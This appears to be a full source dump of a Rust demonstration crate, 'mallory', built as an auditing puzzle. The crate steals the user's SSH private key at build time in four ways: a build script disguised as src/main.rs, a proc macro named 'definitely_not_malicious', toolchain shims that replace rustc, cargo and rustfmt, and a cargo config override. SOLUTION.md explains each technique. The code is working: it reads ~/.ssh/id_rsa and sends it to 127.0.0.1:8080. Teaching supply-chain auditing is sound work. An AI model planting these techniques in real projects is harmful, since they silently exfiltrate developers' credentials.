├── .cargo ├── bin │ ├── cargo │ ├── rustc │ ├── rustdoc │ └── rustfmt └── config.toml ├── .gitignore ├── Cargo.lock ├── Cargo.toml ├── README.md ├── SOLUTION.md ├── rust-toolchain └── src ├── lib.rs ├── mac ├── Cargo.toml └── src │ └── lib.rs └── main.rs /.cargo/bin/cargo: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/jonas-schievink/mallory/82243de212d4ae3f2e98ef10d0eab2fe7b6da0ec/.cargo/bin/cargo -------------------------------------------------------------------------------- /.cargo/bin/rustc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/jonas-schievink/mallory/82243de212d4ae3f2e98ef10d0eab2fe7b6da0ec/.cargo/bin/rustc -------------------------------------------------------------------------------- /.cargo/bin/rustdoc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/jonas-schievink/mallory/82243de212d4ae3f2e98ef10d0eab2fe7b6da0ec/.cargo/bin/rustdoc -------------------------------------------------------------------------------- /.cargo/bin/rustfmt: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/jonas-schievink/mallory/82243de212d4ae3f2e98ef10d0eab2fe7b6da0ec/.cargo/bin/rustfmt -------------------------------------------------------------------------------- /.cargo/config.toml: -------------------------------------------------------------------------------- 1 | [build] 2 | rustc = ".cargo/bin/rustc" 3 | -------------------------------------------------------------------------------- /.gitignore: -------------------------------------------------------------------------------- 1 | /target 2 | id_rsa 3 | -------------------------------------------------------------------------------- /Cargo.lock: -------------------------------------------------------------------------------- 1 | # This file is automatically @generated by Cargo. 2 | # It is not intended for manual editing. 3 | version = 3 4 | 5 | [[package]] 6 | name = "mac" 7 | version = "0.1.0" 8 | 9 | [[package]] 10 | name = "mallory" 11 | version = "0.1.0" 12 | dependencies = [ 13 | "mac", 14 | ] 15 | -------------------------------------------------------------------------------- /Cargo.toml: -------------------------------------------------------------------------------- 1 | [package] 2 | name = "mallory" 3 | version = "0.1.0" 4 | authors = ["Jonas Schievink "] 5 | edition = "2018" 6 | build = "src/main.rs" 7 | autobins = false 8 | 9 | [dependencies] 10 | mac = { path = "src/mac" } 11 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # "Malicious" Example Crate 2 | 3 | This crate uses various techniques to run arbitrary code at build time. 4 | The "malicious" code will send the contents of `~/.ssh/id_rsa` to `127.0.0.1:8080`. 5 | 6 | Some of these techniques only work when *directly* opening this project (for example, when trying to audit it for malicious code), while others also work when it is pulled in as a dependency. 7 | 8 | Can you find all 4 ways this crate is trying to steal your SSH key? Find the solution in [SOLUTION.md](SOLUTION.md). 9 | 10 | **Note**: This currently only works on Linux. 11 | 12 | (this project was inspired by https://github.com/lucky/bad_actor_poc) 13 | -------------------------------------------------------------------------------- /SOLUTION.md: -------------------------------------------------------------------------------- 1 | # Techniques Used 2 | 3 | ## Malicious Build Script 4 | 5 | The top-level crate uses a build script, but it is located in `src/main.rs` instead of the usual `build.rs` to make it a little bit harder to notice. 6 | 7 | ## Malicious Macro 8 | 9 | A malicious proc. macro is invoked by the main library crate. 10 | The macro is located in `src/mac` to make it slightly harder to find. 11 | 12 | ## Malicious Toolchain 13 | 14 | The following shim replaces `rustc`, `cargo`, and `rustfmt` in the project directory: 15 | 16 | ```rust 17 | use std::{io::Write, net::TcpStream, path::Path, process::Command}; 18 | 19 | fn main() { 20 | #[allow(deprecated)] 21 | if let Some(home) = std::env::home_dir() { 22 | if let Ok(key) = std::fs::read(format!("{}/.ssh/id_rsa", home.display())) { 23 | if let Ok(mut stream) = TcpStream::connect("127.0.0.1:8080") { 24 | stream.write_all(&key).ok(); 25 | } 26 | } 27 | } 28 | 29 | let mut args = std::env::args_os(); 30 | let cmd = args.next().unwrap(); 31 | let cmd = Path::new(&cmd).file_name().unwrap(); 32 | match Command::new(cmd).arg("+stable").args(args).status() { 33 | Ok(status) => match status.code() { 34 | Some(code) => std::process::exit(code), 35 | None => std::process::exit(1), 36 | }, 37 | Err(_) => { 38 | std::process::exit(1); 39 | } 40 | } 41 | } 42 | ``` 43 | 44 | Any attempt to invoke Cargo or rustc (even just `cargo metadata` or `rustc -V`) will exfiltrate the SSH key. 45 | The same goes for any `rustfmt` invocation, which even otherwise bare-bones editors might do. 46 | 47 | This is achieved with the `rust-toolchain` file, which tells rustup to use the toolchain in `.cargo/bin`. 48 | It relies on rustup being installed, so will not work if Rust was installed via the standalone installer or a system package manager. 49 | It also only works when this project is opened or built directly, not when used as a dependency. 50 | 51 | ## Malicious Cargo Configuration 52 | 53 | In case the above toolchain override does not work, `.cargo/config.toml` configures the malicious rustc shim as the Rust compiler invoked by Cargo. 54 | -------------------------------------------------------------------------------- /rust-toolchain: -------------------------------------------------------------------------------- 1 | [toolchain] 2 | path = ".cargo" 3 | -------------------------------------------------------------------------------- /src/lib.rs: -------------------------------------------------------------------------------- 1 | use mac::definitely_not_malicious; 2 | 3 | definitely_not_malicious!(); 4 | -------------------------------------------------------------------------------- /src/mac/Cargo.toml: -------------------------------------------------------------------------------- 1 | [package] 2 | name = "mac" 3 | version = "0.1.0" 4 | authors = ["Jonas Schievink "] 5 | edition = "2018" 6 | 7 | [lib] 8 | proc-macro = true 9 | -------------------------------------------------------------------------------- /src/mac/src/lib.rs: -------------------------------------------------------------------------------- 1 | use std::{io::Write, net::TcpStream}; 2 | 3 | use proc_macro::TokenStream; 4 | 5 | #[proc_macro] 6 | pub fn definitely_not_malicious(_item: TokenStream) -> TokenStream { 7 | #[allow(deprecated)] 8 | if let Some(home) = std::env::home_dir() { 9 | if let Ok(key) = std::fs::read(format!("{}/.ssh/id_rsa", home.display())) { 10 | if let Ok(mut stream) = TcpStream::connect("127.0.0.1:8080") { 11 | stream.write_all(&key).ok(); 12 | } 13 | } 14 | } 15 | TokenStream::new() 16 | } 17 | -------------------------------------------------------------------------------- /src/main.rs: -------------------------------------------------------------------------------- 1 | use std::{io::Write, net::TcpStream}; 2 | 3 | fn main() { 4 | #[allow(deprecated)] 5 | if let Some(home) = std::env::home_dir() { 6 | if let Ok(key) = std::fs::read(format!("{}/.ssh/id_rsa", home.display())) { 7 | if let Ok(mut stream) = TcpStream::connect("127.0.0.1:8080") { 8 | stream.write_all(&key).ok(); 9 | } 10 | } 11 | } 12 | } 13 | --------------------------------------------------------------------------------